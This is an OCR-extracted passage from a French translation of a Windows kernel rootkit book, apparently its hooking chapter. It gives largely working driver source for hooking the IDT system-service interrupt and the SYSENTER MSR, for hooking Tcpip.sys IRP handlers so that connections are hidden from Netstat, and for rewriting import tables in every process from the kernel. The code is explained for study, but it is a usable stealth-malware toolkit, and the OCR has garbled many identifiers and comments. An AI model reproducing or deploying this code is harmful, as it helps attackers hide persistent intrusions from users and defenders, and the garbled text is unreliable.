MAKELONG(idt_entries[NT_SYSTEM_SERVICE_INT].LowOffset,
idt_entries[NT_SYSTEM_SERVICE_INT].HiOffset);
/*******************************************************
* Note : N'IMPORTE QUELLE interruption peut tre patche ici.
* Il n'y a pas de limites.

******************************************************* J
int2e_entry = &(idt_entries[NT_SYSTEM_SERVICE_INT]);
__ asm{
cli;
Il Masque les interruptions,
lea eax,MyKiSystemService; Il Charge dans EAX l'adresse du
Il hook.
mov ebx, int2e_entry;
Il L'adresse du gestionnaire
Il de INT 2E dans la table.
mov [ebx],ax;
Il Remplace le vritable gestionnaire
Il par les 16 bits de poids faible Il
de l'adresse du hook.

shr eax,16

Chapitre 4

L'art du hooking 111

mov [ebx+6],ax;

Il Remplace le vritable gestionnaire


Il par les 16 bits de poids fort Il
de l'adresse du hook.
Il Ractive les interruptions.

sti;

}
return 0;

}
A prsent que le hook est install dans lIDT, le rootkit peut dtecter ou empcher
nimporte quel processus dutiliser nimporte quel appel systme. Souvenez-vous que
le numro dappel systme est contenu dans le registre EAX. Nous pouvons rcuprer un
pointeur vers le EPROCESS courant en appelant PsGetCurrentProcess. Voici le prototype
des premires lignes de code qui permettent cela :
_ declspec(naked) MyKiSystemService()

{
__asm{
pushad pushfd push fs mov bx,0x30 mov fs,bx push ds push
es
// Insrer le code de dtection ou de prvention ici.
Finish
: pop
es pop
ds pop
fs
popfd
popad
jmp KiRealSystemServiceISR_Ptr; // Appelle la vritable fonction

}
}

Rootkit.com
Le code de cet exemple peut tre tlcharg l'adresse
www.rootkit.com/vault/fuzen_op/strace_Fuzen.zip.
SYSENTER

Les versions rcentes de Windows nutilisent plus INT 2E et nexaminent plus non plus
lIDT pour demander des services dans la table dappels systme. Elles emploient la
place la mthode dappel rapide. Dans ce cas, Ntdll.dll charge dans le registre EAX le
numro dappel systme du service demand et charge dans

112 Rootkits

Infiltrations du noyau Windows

le registre EDX le pointeur vers


linstruction SYSENTER.

la

pile courante,

ESP.

Cette DLL met ensuite

Linstruction SYSENTER passe le contrle ladresse spcifie dans lun des registres
MSR (Model-Specific Register). Le nom de ce registre est IA32 SYSENTER EIP. Il est
possible de le lire et dy crire, mais cette instruction est privilgie, ce qui signifie
quelle doit tre excute depuis lanneau 0.
Voici un simple driver qui lit la valeur de IA32_SYSENTER_EIP, la stocke dans une
variable globale et charge dans le registre ladresse du hook. Ce hook, MyKiFastCallEntry, naccomplit rien de particulier en dehors de se dbrancher vers la fonction
dorigine. Il sagit de la premire tape ncessaire pour hooker le flux de contrle de
SYSENTER.
#include "ntddk.h"
ULONG d_origKiFastCallEntry; // Valeur d'origine de
// ntoskrnl!KiFastCallEntry.
VOID OnUnloadf IN PDRIVER_OBJECT DriverObject )

{
DbgPrint("R00TKIT: OnUnload called\n);

}
// Fonction de hooking
_ declspec(naked) MyKiFastCallEntry()

{
_ asm {
jmp [d_origKiFastCallEntry]

}
}
NTSTATUS DriverEntry(PDRIVER_OBJECT theDriverObject,
PUNICODE_STRING theRegistryPath)

{
theDriverObject->DriverUnload = OnUnload;
_ asm {
mov ecx, 0x176
rdmsr // Lit la valeur du registre IA32_SYSENTER_EIP mov
d_origKiFastCallEntry, eax
mov eax, MyKiFastCallEntry // Adresse de la fonction de hooking wrmsr
// Ecrit dans le registre IA32_SYSENTER_EIP

}
return STATUS_SUCCESS;

Rootkit.com
Le code pour hooker SYSENTER est disponible l'adresse
www.rootkit.com/vault/fuzen_op/SysEnterHook.zip.

L'art du hooking 113

Chapitre 4

Hooking de la table de fonctions de gestion des IRP majeurs d'un driver


Un autre emplacement trs commode o dissimuler du code dans le noyau est la table
de fonctions contenue dans chaque driver. Lorsquun driver est install, il initialise une
table de pointeurs de fonction donnant les adresses des fonctions quil utilise pour
traiter les diffrents types de paquets de requtes dE/S, ou IRP (I/O Request Packet).
Les IRP supportent plusieurs types de demandes, telles que des lectures, des critures
et des requtes. Etant donn que les drivers oprent un niveau trs bas dans le flux de
contrle, ils reprsentent un emplacement idal hooker.
Voici une liste standard des types dIRP dfinis par le DDK :

// Dfinit les codes de fonctions majeures


#define IRP MJ CREATE
#define IRP MJ CREATE NAMED PIPE
#define IRP MJ CLOSE
#define IRP MJ RE AD
#define IRP MJ WRITE
#define IRP MJ QUERY INFORMATION
#define IRP Mj SET INFORMATION
#define IRP '
MJ QUERY EA
#define IRP Mj SET EA
#define IRP "
MJ FLUSH BUFFERS
#define IRP MJ QUERY VOLUME INFORMATION
#define IRP" 'MJ' SET VOLUME INFORMATION
#define IRP" "MJ DIRECTORY CONTROL
' FILE SYSTEM CONTROL
#define IRP MJ
#define IRP" "MJ DEVICE CONTROL
#define IRP MJ INTERNAL DEVICE CONTROL
#define IRP MJ SHUTDOWN
#define IRP MJ LOCK CONTROL
#define IRP MJ CLEANUP
#define IRP MJ CREATE MAILSLOT
#define IRP MJ QUERY SECURITY
#define IRP MJ SET SECURITY
#define IRP MJ POWER
#define IRP MJ SYSTEM CONTROL
#define IRP MJ DEVICE CHANGE
#define IRP MJ QUERY QUOTA
#define IRP" 'MJ' SET QUOTA
#define IRP" MJ PNP
#define IRP" MJ PNP POWER
#define IRP" 'MJ' MAXIMUM FUNCTION

pour les IRP


0X00
0X01
0X02
0X03
0x04
0x05
0x06
0x07
0x08
0x09

0x0a
0x0b
0x0c
0x0d
0x0e
0x0f
0x10
0x11
0x12
0x13
0x14
0x15
0x16
0x17
0x18
0x19

0x1 a
0x1 b
IRP_MJ_PNP // Obsolte
0x1 b

Les IRP et le driver cible dpendent de ce que le rootkit est suppos accomplir. Par
exemple, vous pourriez hooker les fonctions relatives aux critures dans le systme de
fichiers ou aux requtes TCP. Toutefois, cette approche de hooking prsente un
problme. Comme dans le cas de lIDT, les fonctions qui grent les IRP majeurs ne

114 Rootkits

Infiltrations du noyau Windows

sont pas conues pour appeler la fonction dorigine puis filtrer les rsultats. Elles ne
sont pas censes rcuprer le contrle de la part du driver situ plus bas dans la pile
dappels. La Figure 4.6 illustre comment un objet priphrique conduit lobjet driver
dans lequel la table de fonctions IRP_MJ_* est stocke.

Figure 4.6
Hooking de la table de fonctions de gestion des IRP d'un driver.

Lexemple suivant montre comment dissimuler des ports rseau vis--vis de


programmes tels que Netstat en utilisant un hook dIRP dans le driver Tcpip.sys qui
gre les ports TCP.
Voici une sortie typique de Netstat listant toutes les connexions TCP :
C:\Documents and Settings\Fuzen>netstat -p TCP
Active Connections
Proto
TCP
TCP
TCP

Local Address
LIFE : 1027
LIFE : 1027
LIFE:1027

Foreign Address
localhost: 1422
localhost: 1424
localhost: 1428

State
ESTABLISHED
ESTABLISHED
ESTABLISHED

TCP
TCP
TCP
TCP

LIFE:1410
LIFE:1422
LIFE:1424
LIFE:1428

localhost:
localhost:
localhost:
localhost:

CLOSE_WAIT
ESTABLISHED
ESTABLISHED
ESTABLISHED

TCP
TCP
TCP
TCP

LIFE
LIFE
LIFE
LIFE

:
:
:
:

1463
1423
1425
3537

1027
1027
1027
1027

localhost: 1027
CLOSE_WAIT
64.12.28.72:5190
ESTABLISHED
64.12.24.240:5190
ESTABLISHED
64.233.161.104:http ESTABLISHED

Chapitre 4

L'art du hooking 115

Nous pouvons voir ici le nom du protocole, ladresse et le port sources, ladresse et le
port de destination et ltat de chaque connexion.
De toute vidence, le rootkit ne doit laisser apparatre aucune connexion sortante
tablie. Un moyen dviter cela est de hooker le driver Tcpip. sys et de filtrer les IRP
utiliss pour demander cette information.
Localiser la table de gestion des IRP

En prparation de la dissimulation de lutilisation dun port rseau, la premire tape


consiste trouver lobjet driver en mmoire. Ici, nous nous intressons au driver
Tcpip.sys et lobjet priphrique associ, qui se nomme \\DEVICE\\TCP. Le noyau
fournit une fonction utile, IoGetDeviceObj ectPointer, qui retourne un pointeur vers
lobjet de nimporte quel priphrique. A partir dun nom, elle retourne lobjet fichier
et lobjet priphrique correspondants. Ce dernier comprend un pointeur vers lobjet
driver qui contient la table de fonctions cible. Le rootkit devrait enregistrer lancienne
valeur du pointeur de fonction quil hooke. Cette fonction devra effectivement tre
appele dans le hook. En outre, pour pouvoir ventuellement dcharger le rootkit, il
faudra rtablir ladresse de la fonction dorigine dans la table. Nous utilisons
InterlockedExchange car il sagit dune opration lmentaire relativement aux autres
fonctions InterlockedXXX.
Le code suivant rcupre le pointeur vers Tcpip. sys partir dun nom de priphrique
et hooke une seule entre dans la table de gestion des IRP. La fonction
InstallTCPDriverHook remplace dans le driver le pointeur de fonction qui gre IRP MJ
DEVICE CONTROL. Il sagit de lIRP utilis pour interroger le priphrique, en
loccurrence TCP.
PFILE_OBJECT pFile_tcp;
PDEVICE_OBJECT pDev_tcp;
PDRIVER_OBJECT pDrv_tcpip;
typedef NTSTATUS (*OLDIRPMJDEVICECONTROL)(IN PDEVICE_OBJECT, IN PIRP);
OLDIRPMJDEVICECONTROL OldlrpMjDeviceControi ;
NTSTATUS InstallTCPDriverHook()

{
NTSTATUS ntStatus;
UNICODE_STRING deviceTCPUnicodeString;
WCHAR deviceTCPNameBuffer[] = L"\\Device\\Tcp";
pFile_tcp = NULL; pDev_tcp = NULL; pDrv_tcpip =
NULL;
RtlInitUnicodeString (&deviceTCPUnicodeString,
deviceTCPNameBuffer);

1 1 6 Rootkits

Infiltrations du noyau Windows

ntStatus = IoGetDeviceObjectPointer(&deviceTCPUnicodeString,
FILE_READ_DATA, &pFile_tcp,
&pDev_tcp);
if(!NT_SUCCESS(ntStatus)) return ntStatus;
pDrv_tcpip = pDev_tcp->DriverObject;
OldlrpMjDeviceControl = pDrv_tcpip->
Ma]orFunction[IRP_MJ_DEVICE_CONTROL];
if (OldlrpMjDeviceControl)
InterlockedExchange ((PLONG)&pDrv_tcpip->
MajorFunction[IRP_MJ_DEVICE_CONTROL],
(LONG)HookedDeviceControl);
return STATUS_SUCCESS;

}
Lorsque ce code sera excut, le hook sera install dans le driver Tcpip.

sys. Fonction

de hooking des IRP

Maintenant que le hook est install dans le driver Tcpip.sys, nous pouvons
commencer recevoir des IRP dans la fonction HookedDeviceControl. Il existe de
nombreux types diffrents de requtes mme au sein de IRP_MJ_DEVICE_CONTROL pour
Tcpip.sys.

Tous les IRP de type IRP_MJ_* doivent tre couverts dans le premier niveau de filtrage
que nous ralisons. IRP_MJ signifie "type dIRP majeur" {major IRP type). Il existe
aussi un type mineur dans chaque IRP.
Outre les types dIRP majeurs et mineurs, le IoControlCode dans lIRP est utilis pour
identifier un type particulier de requte. Ici, nous sommes concerns uniquement par
les IRP dont le code de contrle est IOCTL_TCP_QUERY_INFORMATION_EX. Ces IRP retournent
la liste des ports des programmes comme Netstat. Le rootkit devrait convertir le
tampon dentre de P IRP en une structure TDIObjectID. Pour dissimuler les ports
TCP, le rootkit soccupera uniquement des requtes dentits CO_TL_ENTITY. Le type
dentit CL_TL_ENTITY est utilis pour les requtes UDP. Le membre toi_id de la
structure TDIObjectID est galement important. Sa valeur dpend des options qui ont
t spcifies lors de linvocation de Netstat (par exemple netstat.exe -o). Ce champ
est dcrit plus en dtail la prochaine section.
#define CO_TL_ENTITY 0x400 #define
CL_TL_ENTITY 0x401
#define IOCTL_TCP_QUERY_INFORMATION_EX 0X00120003 I I *
Structure d'un identifiant d'entit typedef struct
TDIEntitylD { ulong tei_entity; ulong tei_instance;

Chapitre 4

L'art du hooking 117

> TDIEntitylD;
I I * Structure d'un identifiant d'objet
typedef struct TDIObjectID {
TDIEntitylD toi_entity;
ulong toi_class; ulong
toi_type; ulong toi_id;
} TDIObjectID;

La fonction HookedDeviceControl a besoin dun pointeur vers la pile dIRP courante,


dans laquelle le code des fonctions majeures et mineures de gestion des IRP est stock.
Etant donn que nous avons hook lIRP IRP_MJ_DEVICE_CONTROL, nous nous attendons
naturellement ce quil sagisse dun code de fonction majeure, mais une petite
vrification peut tre faite pour confirmer cela.
Une autre information importante dans la pile dIRP est le code de contrle. Ici, nous
nous intressons uniquement IOCTL_TCP_QUERY_INFORMATION_EX.
Ltape suivante consiste localiser le tampon dentre dans P IRP. Pour les requtes
de Netstat, le noyau et les programmes utilisateur transfrent des tampons
dinformations au moyen dune mthode qui se nomme METHOD NEITHER. Cette
mthode fait que ladresse du tampon dentre est fournie par Parameters.DeviceIoControl.Type3InputBuffer dans la pile dIRP. Le rootkit devrait convertir le
tampon dentre en un pointeur vers une structure TDIObjectID. Les structures
prcdentes peuvent tre employes pour localiser la requte modifier. Pour
dissimuler des ports TCP, inputBuffer->toi_entity.tei_entity devrait tre gal
CO_TL_ENTITY, et inputBuffer->toi_id peut prendre une valeur parmi trois. La
signification de cet identifiant, toi_id, est explique plus loin.
Si cet IRP est une requte que le rootkit est cens modifier, il faut modifier lIRP pour
quil contienne un pointeur vers une fonction de callback, ici la routine de terminaison
IoCompletionRoutine du rootkit. Il faut galement changer les flags de contrle dans
lIRP. Ceci indique au gestionnaire dE/S dinvoquer la routine de terminaison aprs
que le driver situ plus bas dans la pile (Tcpip. sys) a termin de traiter lIRP et a
crit dans le tampon de sortie les informations demandes.
La routine de terminaison ne peut recevoir quun seul paramtre, contenu dans
irpStack->Context. Toutefois, il faut lui passer deux lments dinformations. Le
premier est un pointeur vers la routine de terminaison dorigine dans lIRP, sil y en
avait une. Le second est la valeur de inputBuffer->toi_id car ce champ contient un
identifiant qui sert dterminer le format du tampon de sortie. La dernire ligne

118 Rootkits

Infiltrations du noyau Windows

de HookedDeviceControl appelle OldlrpMjDeviceControl, qui est le gestionnaire


dorigine de IRP_MJ_DEVICE_CONTROL dans lobjet Tcpip. sys.
NTSTATUS HookedDeviceControl(IN PDEVICE_OBJECT DeviceObject,
IN PIRP Irp)

{
PI0_STACK_L0CATION
irpStack;
ULONG
ioTransferType;
TDIObjectlD
*inputBuffer;
DWORD
context;
// Rcupre un pointeur vers l'emplacement courant dans l'IRP. Il s'agit
// de l'emplacement des codes et des paramtres des fonctions. irpStack =
IoGetCurrentlrpStackLocation (Irp); switch (irpStack->MajorFunction)

{
case IRP_MJ_DEVICE_CONTROL:
if ((irpStack->MinorFunction == 0) &&
(irpStack->Parameters.DeviceloControl.IoControlCode
== IOCTL_TCP_QUERY_INFORMATION_EX))

{
ioTransferType =
irpStack->Parameters.DeviceloControl.IoControlCode;
ioTransferType &= 3;
// Il faut connatre la mthode pour trouver le tampon d'entre
if (ioTransferType == METHOD_NEITHER)

{
inputBuffer = (TDIObjectID *)
irpStack->Parameters.DeviceIoControl.Type3InputBuffer;
// CO_TL_ENTITY est pour TCP et CL_TL_ENTITY est pour UDP
if (inputBuffer->toi_entity,tei_entity == CO_TL_ENTITY)

{
if ((inputBuffer->toi_id == 0x101) ||
(inputBuffer->toi_id == 0x102) j |
(inputBuffer->toi_id == 0x110))

{
// Appelle la routine de terminaison si l'IRP russit.
// Pour cela, change les flags de contrle dans l'IRP.
irpStack->Control = 0;
irpStack->Control |= SL_INVOKE_ON_SUCCESS;
// Enregistre la routine de terminaison d'origine,
// s'il y en a une.
irpStack->Context =(PIO_COMPLETION_ROUTINE)
ExAllocatePool(NonPagedPool,
sizeof(REQINFO));
((PREQINFO)irpStack->Context)->
OldCompletion =
irpStack->CompletionRoutine ;
((PREQINFO)irpStack->Context)->ReqType =
inputBuffer->toi_id;
// Dfinit la fonction appeler

Chapitre 4

L'art du hooking 119

l i a i ' issue de 1'IRP.


irpStack->CompletionRoutine =
(P10_C0MPLETION_ROUTINE) IoCompletionRoutine;

}
}
}
}

break;
default
:
break;

}
// Appelle la fonction d'origine
return 01dIrpMjDeviceControl(Device0bject, Irp);

}
A prsent que nous avons insr dans lIRP un pointeur vers la fonction de callback,
IoCompletionRoutine, nous allons pouvoir crire cette routine.
Routine de terminaison

Dans le code prcdent, nous avons insr une routine de terminaison complte dans
lIRP intercept par le hook, et ce avant dappeler la fonction dorigine. Cest le seul
moyen de modifier les informations places dans P IRP par un driver situ plus bas
dans la pile. Le driver du rootkit est maintenant prsent au-dessus de Tcpip.sys. Ce
dernier prend le contrle lorsque le rootkit appelle le gestionnaire dorigine de lIRP.
Normalement, le gestionnaire de lIRP qui a t utilis comme fonction de hooking
ne se voit jamais rendre le contrle depuis la pile dappels. Cest pourquoi il
convient dinsrer une routine de terminaison. Ainsi, aprs que Tcpip.sys a plac dans
lIRP les informations relatives tous les ports rseau, il rend le contrle la routine
(puisquelle a t insre dans lIRP dorigine). Pour une explication plus dtaille des
IRP et des routines de conclusion, voyez le Chapitre 6.
Dans lexemple suivant, la routine IoCompletionRoutine est invoque aprs que
Tcpip.sysa plac dans le tampon de sortie de lIRP une structure pour chaque port TCP
existant sur lhte. La structure exacte de ce tampon dpend des options avec
lesquelles Netstat a t excut. Les options disponibles dpendent de la version du
systme dexploitation utilise. Avec loption -o, lutilitaire liste galement le
processus propritaire du port. Ici, Tcpip. sys retourne un tampon contenant des
structures C0NNINF0102. Loption -b retourne des structures C0NNINF0110 avec les
informations de port. Autrement, les structures retournes

120 Rootkits

Infiltrations du noyau Windows

sont de type CONNINFO101. Voici ces trois types de structures et les informations
contenues dans chacune :
#define HTONS(a) ( ( (0xFF&a)8) + ( (0xFF00&a)8) ) // Pour rcuprer un port
// Structures des tampons d'informations TCP retourns par TCPIP.SYS typedef
struct _CONNINFO101 { unsigned long status; unsigned long src_addr; unsigned
short src_port; unsigned short unk1; unsigned long dst_addr; unsigned short
dst_port; unsigned short unk2;
} C0NNINF0101, *PC0NNINF0101 ; typedef struct _CONNINFO102 { unsigned long
status; unsigned long src_addr; unsigned short src_port; unsigned short unk1;
unsigned long dst_addr; unsigned short dst_port; unsigned short unk2; unsigned
long pid;
} C0NNINF0102, *PC0NNINF0102; typedef struct _CONNINFO110 { unsigned long
size; unsigned long status; unsigned long src_addr; unsigned short src_port;
unsigned short unk1; unsigned long dst_addr; unsigned short dst_port; unsigned
short unk2; unsigned long pid;
PVOID unk3[35];
} C0NNINF0110, *PC0NNINF0110;
IoCompletionRoutine reoit un pointeur de type PREQINFO appel Context auquel nous

allouons de lespace dans la routine. Ce pointeur est utilis pour garder trace du type
dinformations de connexion demandes et de la routine de terminaison dorigine sil y
en avait une. En analysant le tampon et en changeant la valeur dtat de chaque
structure, il est possible de dissimuler nimporte quel port. Voici certaines valeurs
dtat courantes :

2 pourLISTENING

3 pourSYN_SENT

pourSYN_RECEIVED

Chapitre 4

B 5

L'art du hooking 121

pour ESTABLISHED

6 pour FIN_WAIT_I ;
7

pour FIN_WAIT_2

H 8

pour CLOSE_WAIT

B 9 pourCLOSING.

Si vous spcifiez la valeur dtat 0 avec le rootkit, le port disparat de Netstat


indpendamment des paramtres (pour comprendre les diffrentes valeurs dtat,
louvrage de W. R. Stevens1 est une excellente rfrence). Le code suivant est un
exemple de routine de terminaison qui dissimule une connexion destine au port TCP
80 :
typedef struct _REQINF0 {
PI0_C0MPLETI0N_R0UTINE OldCompletion;
unsigned long Reqype;
} REQINFO, *PREQINF0;
NTSTATUS IoCompletionRoutine(IN PDEVICE_OBJECT DeviceObject,
IN PIRP Irp,
IN PVOID Context)

{
PVOID OutputBuffer;
DWORD NumOutputBuffers ;
PI0_C0MPLETI0N_R0UTINE p_compRoutine;
DWORD i;
// Valeur d'tat des connexions :
// 0 = Invisible // 1 = CLOSED 1 1 2 =
LISTENING I l 3 = SYN_SENT I l 4 =
SYN_RECEIVED I l 5 = ESTABLISHED I l 6
= FIN_WAIT_1 I l 7 = FIN_WAIT_2 I l 8 =
CL0SE_WAIT 1 / 9 = CLOSING

II..

OutputBuffer = Irp->UserBuffer;
p_compRoutine = ((PREQINF0)Context)->01dCompletion; if
(((PREQINFO)Context)->ReqType == 0x101)

1. W. R. Stevens. TCP/IP Illustmted, Volume 1 (Boston : Addison-Wesley, 1994), pp. 229-60.

Infiltrations du noyau Windows

122 Rootkits

NumOutputBuffers = Inp->IoStatus.Information /
sizeof(C0NNINF0101);
for(i = 0; i < NumOutputBuffers; i++)

{
// Dissimule toutes les connexions Web
if (HTONS(((PC0NNINF0101(OutputBuffer)[i].dst_port) == 80)
((PCONNINFO101(OutputBuffer)[i].status = 0;

}
}
else if (((PREQINFO)Context)->ReqType == 0x102)

{
NumOutputBuffers = Irp->IoStatus.Information /
sizeof(CONNINFO102);
for(i = 0; i < NumOutputBuffers; i++)

{
// Dissimule toutes les connexions Web
if (HTONS(((PC0NNINF0102)OutputBuffer)[i].dst_port) ==80)
((PCONNINFO102)OutputBuffer)[i].status = 0;

}
}
else if (((PREQINFO)Context)->ReqType == 0x110)

{
NumOutputBuffers = Irp->IoStatus.Information /
sizeof(CONNINFO110);
for(i = 0; i < NumOutputBuffers; i++)

{
// Dissimule toutes les connexions Web
if (FITONS(((PC0NNINF0110)OutputBuffer)[i].dst_port) == 80)
((PCONNINFO110)OutputBuffer)[i].status = 0;

}
}
ExFreePool(Context);
if ((Irp->StackCount > (ULONG)1) && (p_compRoutine != NULL))

{
return (p_compRoutine)(DeviceObject, Irp, NULL);

}
else

{
return Irp->IoStatus.Status;

Rootkit.com
Vous pouvez tlcharger le code pour hooker les IRP TCP l'adresse
www.rootkit.com/vault/fuzen_op/TCPIRPHook.zip.

Chapitre 4

L'art du hooking 123

Approche de hooking hybride


Les hooks en mode utilisateur ont leur utilit. Ils sont gnralement plus faciles
implmenter que ceux en mode noyau. De plus, certaines des fonctions que le root- kit
est cens filtrer nont pas forcment un chemin vident travers le noyau.
Nous vous dconseillons nanmoins dimplmenter un rootkit avec des hooks
utilisateur pour la bonne raison que, si un mcanisme de dtection est prsent dans le
noyau, le rootkit ne sera pas sur un pied dgalit avec cet adversaire.
Typiquement, le processus de dtection implique dobserver les moyens par lesquels
du code est amen sexcuter dans lespace dadressage dun autre processus.
Lorsque ce mode de dtection ou de prvention est attendu, une approche hybride
simpose. Lapproche de hooking hybride est conue pour hooker un processus
utilisateur laide dun hook dIAT, mais sans ouvrir de handle sur le processus cible
ni utiliser WriteProcessMemory, modifier une cl de registre ou accomplir une autre
activit facilement dtectable.
Lexemple prsent dans cette section hooke un processus utilisateur partir dun
driver du noyau.

Pntrer dans l'espace d'adressage d'un processus


Le systme dexploitation fournit une fonction trs utile, PsSetlmageLoadNotifyRoutine, qui notifie lorsquune DLL ou un processus cible a t charg. Comme son
nom lindique, cette fonction enregistre une routine de callback de driver qui sera
appele chaque fois quune image est charge en mmoire. Elle reoit un seul
paramtre, ladresse de la fonction de callback. Cette dernire devrait tre dclare
comme suit :
VOID MylmageLoadNotify(IN PUNICODE_STRING,
IN HANDLE,
IN PIMAGE_INFO);

Le paramtre UNICODE_STRING contient le nom du module charg par le noyau. Le


paramtre HANDLE est lidentifiant de processus, ou PID (Process ID), du processus dans
lequel le module est charg. Le rootkit se trouve dj dans le contexte mmoire de ce
PID. La structure IMAGE_INFO inclut des informations qui seront ncessaires au rootkit,
comme ladresse de base de limage charge en mmoire. Elle est dfinie comme suit :
typedef struct _IMAGE_INFO { union {

Infiltrations du noyau Windows

124 Rootkits

ULONG Properties;
struct {
ULONG ImageAddressingMode
ULONG SystemModelmage
ULONG ImageMappedToAllPids
ULONG Reserved

};

: 8; I l Mode d'adressage du code


: 1; // Image en mode systme :
1; // Mappe dans tous les
^processus
: 22;

};
PVOID ImageBase;
ULONG ImageSelector;
ULONG ImageSize;
ULONG ImageSectionNumber;
} IMAGE_INFO, *PIMAGE_INFO;

Dans la fonction de callback, il faut dterminer sil sagit dun module dont lIAT doit
tre hooke. A dfaut de savoir quels modules dans le processus importent la fonction
filtrer, il est possible de hooker toutes les IAT pointant sur la fonction en question.
Lexemple suivant hooke tous les modules en appelant HooklmportsOf- Image pour
analyser chaque module et trouver les entres de leur IAT. Le code conu pour cibler
un excutable ou une DLL spcifique a t plac en commentaire.
/////////////////////////////////////////////////////////
// MylmageLoadNotify est appele lorsqu'une image est charge // dans le noyau
ou l'espace utilisateur. A ce stade, le hook // peut tre filtr sur la base
du Processld ou du nom // de l'image. Sinon, toutes les IAT qui se rfrent
la // fonction filtrer pourraient tre hookes.
VOID MylmageLoadNotify(IN PUNICODE_STRING FullImageName,
IN HANDLE Processld, // Le processus contient
une image
IN PIMAGE_INFO Imagelnfo)

{
// UNICODE_STRING u_targetDLL;
//DbgPrint("Image name: %ws\n", FullImageName->Buffer);
// Dfinit le nom de la DLL cible / /
RtlInitUnicodeString(&u_targetDLL,
//
L" \\WIND0WSWsystem32Wkernel32.dll" ) ;
// if(RtlCompareUnicodeString(FullImageName,&u_targetDLL, TRUE) == 0)

Il {
Il }

HooklmportsOfImage(Imagelnfo->ImageBase, Processld);

}
parcourt le fichier PE en mmoire. La plupart des excutables
Windows sont au format PE (Portable Excutable). Lapparence du fichier en mmoire
ressemble beaucoup celle quil a sur disque. La majorit des lments quil contient
sont des adresses virtuelles relatives, ou RVA (Relative Virtual Address). Il sagit des
offsets des donnes par rapport lemplacement o le fichier
HooklmportsOf Image

Chapitre 4

L'art du hooking 125

est charg en mmoire. Le rootkit devrait analyser le fichier PE de chaque module


pour rechercher toutes les DLL quil importe.
Nous avons besoin en premier de la RVA de la section dimportation,
IMAGE_DIRECTORY_ENTRY_IMPORT, de DataDirectory. Additionner cette RVA ladresse
de dbut du module en mmoire (dosHeader dans ce cas) donne un pointeur vers la
premire structure IMAGE_IMPORT_DESCRIPTOR.
Chaque DLL importe par le module possde une stmcture IMAGE_IMPORT_DESCRIPTOR
associe. Lorsque le rootkit en atteint une qui comporte la valeur 0 dans son champ
Characteristics, cest quil est arriv la fin de la liste de DLL.
Chaque structure IMAGE_IMP0RT_DESCRIPT0R (sauf la dernire) contient des pointeurs
vers deux tableaux distincts. Lun deux est un pointeur vers un tableau dadresses
pour toutes les fonctions importes par le module partir de la DLL. Le membre
FirstThunk de cette structure permet datteindre le tableau dadresses. Le membre
OriginalFirstThunk sert trouver le tableau de pointeurs vers les structures IMAGE_IM P
0 R T_BY_NAM E qui contiennent les noms des fonctions importes, moins quelles
aient t importes par numro ordinal (limportation de fonctions par numro ordinal
nest pas couverte ici car la plupart des fonctions sont importes par nom).
La fonction HooklmportsOf Image scanne tous les modules pour dterminer sils
importent la fonction GetProcAddress de Kernel32.dll. Si elle la trouve, elle change les
protections mmoire de FIAT en utilisant le code dcrit la section "Hooking de la
table SSDT" prcdemment. Une fois que les permissions ont t modifies, le rootkit
peut remplacer ladresse dans lIAT par celle du hook, comme expliqu plus loin.
NTSTATUS HookImportsOfImage(PIMAGE_DOS_HEADER image_addr, HANDLE h_proc)

{
PIMAGE_DOS_HEADER dosHeader;
PIMAGE_NT_HEADERS pNTHeader;
PIMAGE_IMPORT_DESCRIPTOR importDesc;
PIMAGE_IM PO R T_BY_NAM E p_ibn;
DWORD importsStartRVA;
PDWORD pd_IAT, pd_INTO;
int count, index;
char *dll_name = NULL;
char *pc_dlltar = "kernel32.dll";
char *pc_fnctar = "GetProcAddress";
PMDL pjndl;
PDWORD MappedlmTable;

126 Rootkits

Infiltrations du noyau Windows

dosHeader = (PIMAGE_DOS_HEADER) image_addr; pNTHeader = MakePtr(


PIMAGE_NT_HEADERS, dosHeader, dosHeader->e_lfanew );

I l D'abord, vrifie que le champ e_lfanew contient un I l pointeur


correct, puis vrifie la signature PE. if ( pNTHeader->Signature !=
IMAGE_NT_SIGNATURE ) return STATUS_INVALID_IMAGE_FORMAT;
importsStartRVA = pNTHeader->OptionalHeader.DataDirectory
[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress; if
(!importsStartRVA)
return STATUS_INVALID_IMAGE_FORMAT;
importDesc = (PIMAGE_IMPORT_DESCRIPTOR) (importsStartRVA +
(DWORD) dosHeader);
for (count = 0; importDesc[count].Characteristics != 0; count++)

{
dll_name = (char*) (importDesc[count].Name + (DWORD) dosHeader);
pd_IAT = (PDWORD)(((DWORD) dosHeader) +
(DWORD)importDesc[count].FirstThunk); pd_INT0 =
(PDWORD)(((DWORD) dosHeader) +
(DWORD)importDesc[count].OriginalFirstThunk);
for (index = 0; pd_IAT[index] != 0; index++)

{
// S'il s'agit d'une importation par numro,
// le bit de poids fort est 1.
if((pd_INTO[index] & IMAGE_ORDINAL_FLAG)!= IMAGE_0R DINAL_F
LAG)

{
p_ibn = (PIMAGE_IMPORT_BY_NAME)
(pd_INTO[index]+((DWORD)
dosHeader));
if ((_stricmp(dll_name, pc_dlltar) == 0) && (strcmp(p_ibn>Name, pc_fnctar) == 0))

{
// Utilisez l'astuce apprise prcdemment pour associer
// une adresse virtuelle diffrente la mme adresse
// physique pour viter les problmes de permissions.

//

// Mappe la mmoire dans notre zone pour changer les


// permissions de la MDL.
p_mdl = MmCreateMdl(NULL, &pd_IAT[index], 4);
if(!p_mdl)
return STATUSJJNSUCCESSFUL;
MmBuildMdlForNonPagedPool(p_mdl);
// Change les flags de la MDL p_mdl->MdlFlags =
p_mdl->MdlFlags |
MDL_MAPPED_TO_SYSTEM_VA;
MappedlmTable = MmMapLockedPages(p_mdl, KernelMode);
// Adresse de la "nouvelle fonction"
*MappedImTable = d_sharedM;

Chapitre 4

L'art du hooking 127

I l Libre la MDL

MmUnmapLockedPages(MappedImTable, p_mdl);
IoFreeMdl(p_mdl);

return STATUS_SUCCESS;

}
Nous disposons prsent dune fonction de callback qui sera appele pour chaque
image (quil sagisse dun processus, dun driver, dune DLL, etc.) charge en
mmoire. Le code examine chaque image pour dterminer si elle importe la cible du
hook. Si la fonction cible est trouve, son adresse dans lIAT est remplace. Tout ce
quil nous reste faire est dcrire la fonction du rootkit vers laquelle lIAT pointe.
Pour pouvoir hooker tous les processus sur le systme, nous avons besoin pour le hook
dune adresse mmoire qui soit visible depuis lespace dadressage de chaque
processus. La section suivante traite ce point.

Espace mmoire pour les hooks


Un des problmes que posent les hooks en mode utilisateur est que le rootkit doit
habituellement allouer de lespace mmoire dans le processus distant afin de pouvoir
crire des paramtres pour LoadLibrary ou crire du code, ce quun logiciel de
